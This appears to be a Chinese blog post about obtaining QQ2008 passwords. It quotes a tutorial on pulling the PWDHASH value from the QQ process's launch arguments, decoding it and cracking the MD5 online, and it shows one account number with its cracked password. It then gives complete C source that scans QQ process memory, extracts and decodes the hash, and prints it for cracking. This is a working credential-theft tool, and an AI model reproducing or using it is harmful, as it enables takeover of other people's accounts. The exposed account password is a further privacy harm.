僞“挖出QQ2008密碼”

======================================引用網文==============================================
手工破解已登錄QQ密碼
需要的工具是PrcView（用來截取QQ啓動信息）和Cain（用來轉換密文）

第一步，打開PrcView，然後右鍵單擊QQ，選擇好友與資料，點擊更新好友~~~然後QQ會重新登陸，登陸後，看到PrcView，右擊QQ.exe進程，選擇啓動信息，這時可看到這一段信息：
/SessionType:3 /START QQUIN:561496607 PWDHASH:jHc/ygo2RH+UzyENqXReow== /STAT:10 /EMB_HWND:0 /NOAUTOSCAN

QQUIN:561496607 這個是QQ號的意思
jHc/ygo2RH+UzyENqXReow==
其中PWDHASH是騰訊加密MD5的密文，我們可以用CAIN來進行轉換~~

第二步，打開Cain，點擊工具裏面的base64口令解碼，將這段密文輸入進去，然後進行轉換，轉換的密文會變成MD5密碼
也就是這個MD5 8c773fca0a36447f94cf210da9745ea3

第三步，破解MD5密碼。我們可以選擇暴力破解，或者去http://www.cmd5.com/或http://www.xmd5.org/進行破解~~破解出來的密碼就可以直接登陸了~~
下面我們去網站破解~~~
not find意思是沒找到，我們再去另外一個網站看看~~~
需要付費。。。但是菜鳥們如果已經找到了MD5，破解起來只要密碼不是太複雜，是可以輕鬆破解的~~~下面我公佈這個QQ號的密碼qiyuehui。我們驗證下。。。
查詢結果：
MD5(qiyuehui,32) = 8c773fca0a36447f94cf210da9745ea3
MD5(qiyuehui,16) = 0a36447f94cf210d
==============================引用到此結束======================================================
對此編寫了以下代碼 方便獲取QQ2008登錄的PWDHASH，同時增加了將Base64編碼的還原功能。
原版：

新版：

新版的C源碼如下：
#include <windows.h> #include <stdio.h> #include <conio.h> //從內存緩衝區中搜索指定的字節串 unsigned char *MemSearch(const unsigned char *mem, const int memSize, const unsigned char *patt, const int pattSize) { int i = 0, c = 0, td[256] = {0} ; const unsigned char *p, *t, *tx = mem; if (memSize <= 0 || pattSize <= 0) return NULL ; for (c=0; c<256; ++c) td[c] = pattSize + 1; for (p=patt, i=0; i<pattSize; ++p, ++i) td[*p] = pattSize - (p - patt); while (tx + pattSize <= mem + memSize) { for (p=patt, t=tx, i=0; i<pattSize; ++p, ++t, ++i) if (*p != *t) break; if (i == pattSize) return tx; //搜索到了 tx += td[ tx[pattSize] ] ; } return NULL; //沒找着 } /*==================================================================== Base64解碼函數 btSrc指向被解碼的數據緩衝區 iSrcLen被解碼的數據的大小（字節） btRet指向存放Base64解碼的數據緩衝區 piRetLen指向存放Base64解碼的數據緩衝區的長度 若btRet爲NULL函數返回0，piRetLen傳回btSrc的Base64解碼所需緩衝區的大小 若btRet指向的緩衝區太小，函數返回-1 否則函數返回btSrc的Base64解碼所需緩衝區的大小 =====================================================================*/ int DecodeBase64(BYTE *btSrc, int iSrcLen, BYTE *btRet, int *piRetLen) //Base64解碼 { int i = 0, j = 0 ; BYTE EncodeBase64Map[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; BYTE DecodeBase64Map[256] = {0} ; for(j = iSrcLen; j>0 && '='==btSrc[j-1]; --j) ; //忽略=號 i = (j/4)*3+(j%4+1)/2; //計算解碼後 字符串的長度 if(btRet != NULL) { if(*piRetLen < i) //Base64解碼所需緩衝區偏小 return -1 ; *piRetLen = i ; //*piRetLen返回btSrc的Base64解碼的緩衝區大小 } else { *piRetLen = i ; return 0 ; } j = sizeof(EncodeBase64Map) ; for(i=0; i<j; ++i) DecodeBase64Map[ EncodeBase64Map[i] ] = i ; for(i=j=0; i<iSrcLen; i+=4) { btRet[j++] = DecodeBase64Map[btSrc[i ]] << 2 | DecodeBase64Map[btSrc[i+1]] >> 4 ; btRet[j++] = DecodeBase64Map[btSrc[i+1]] << 4 | DecodeBase64Map[btSrc[i+2]] >> 2 ; btRet[j++] = DecodeBase64Map[btSrc[i+2]] << 6 | DecodeBase64Map[btSrc[i+3]] ; } return *piRetLen ; } //查找QQ密碼的HASH值 有可能找到多個？ int FindPwdHash(HANDLE hProcess) { int iFindCount = 0 ; MEMORY_BASIC_INFORMATION mbi ; PBYTE pAddress = NULL, pMyBaseAddr = NULL ; int iReadCount = 0 ; char *pSearchStr = "/START QQUIN:" ; if(NULL == hProcess) return 0 ; while(TRUE) { //查詢地址空間中內存地址的信息 if(VirtualQueryEx (hProcess, pAddress, &mbi, sizeof(mbi)) != sizeof(mbi)) { //printf("搜索結束!/n") ; break ; } // 我們只搜索類型爲MEM_PRIVATE(私有的) 保護屬性爲PAGE_READWRITE(允許讀寫) if(MEM_PRIVATE == mbi.Type && PAGE_READWRITE == mbi.AllocationProtect) { char *p = NULL; UINT uiOffset = 0 ; pMyBaseAddr = (PBYTE)malloc(mbi.RegionSize+1) ; if(pMyBaseAddr == NULL) continue ; pMyBaseAddr[mbi.RegionSize] = '/0' ; //讀取進程內存 ReadProcessMemory(hProcess, mbi.BaseAddress, pMyBaseAddr, mbi.RegionSize, &iReadCount) ; do { p = MemSearch(pMyBaseAddr+uiOffset, mbi.RegionSize+1-uiOffset, pSearchStr, strlen(pSearchStr)) ; if(p) { BYTE btTemp[64] = {0} ; int iCharCount = 0 ; char *q = NULL ; printf("QQ.exe ") ; iCharCount = printf("%s", p) ; printf("/n/n") ; q = MemSearch(p, iCharCount, "PWDHASH:", 8) ; if(q) //找到了 { int iRet = 0, i = 0 ; iRet = sizeof(btTemp) ; DecodeBase64(q+8, 24, btTemp, &iRet) ; printf("獲取QQ密碼的md5值：") ; for(i=0; i<iRet; ++i) printf("%0x", btTemp[i]) ; printf("/n你可以到http:/x2f/www.cmd5.com查詢原密碼（不一定能查出來）！/n/n") ; } ++iFindCount ; uiOffset = p - pMyBaseAddr + strlen(pSearchStr) ; if(uiOffset > mbi.RegionSize) break ; } } while(p) ; free (pMyBaseAddr) ; pMyBaseAddr = NULL ; } //printf("基地址：0x%X大小：%d字節/n", mbi.BaseAddress, mbi.RegionSize) ; pAddress = ((PBYTE)mbi.BaseAddress + mbi.RegionSize) ; } return iFindCount ; } //枚舉QQ進程 函數返回QQ進程的個數 int EnumQQProcess(void) //獲取qq的進程ID { int iQQProcCount = 0 ; DWORD PID = -1 ; HWND hParent = NULL ; HANDLE hProcess = NULL ; do { hParent = FindWindowEx (NULL, hParent, TEXT("#32770"), NULL) ; if (FindWindowEx (hParent, NULL, TEXT("Tencent_QQBar"), NULL)) { GetWindowThreadProcessId(hParent, &PID); //獲得指定窗體所在的進程的進程號 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID) ; //打開進程 if(NULL == hProcess) continue ; ++iQQProcCount ; printf("QQ[%d] PID=%d(0x%X)/n", iQQProcCount, PID, PID) ; if(FindPwdHash(hProcess) == 0) //查找QQ密碼HASH值 { printf("沒找到QQ密碼的HASH值！/n可能是你還沒點QQ“系統菜單”-->“好友與資料”" "-->“更新好友”，然後確定更新！/n/n") ; PostMessage(hParent, WM_COMMAND, 0x34E8, (LPARAM)hParent) ; } CloseHandle(hProcess) ; //關閉句柄 } }while(hParent) ; return iQQProcCount ; } int main(void) { printf("查找QQ2008密碼的HASH值!/n目前已知對QQ2008有效，其他的不知道！/n/n") ; if(EnumQQProcess() == 0) printf("未找到QQ進程！/n") ; getch() ; return 0 ; }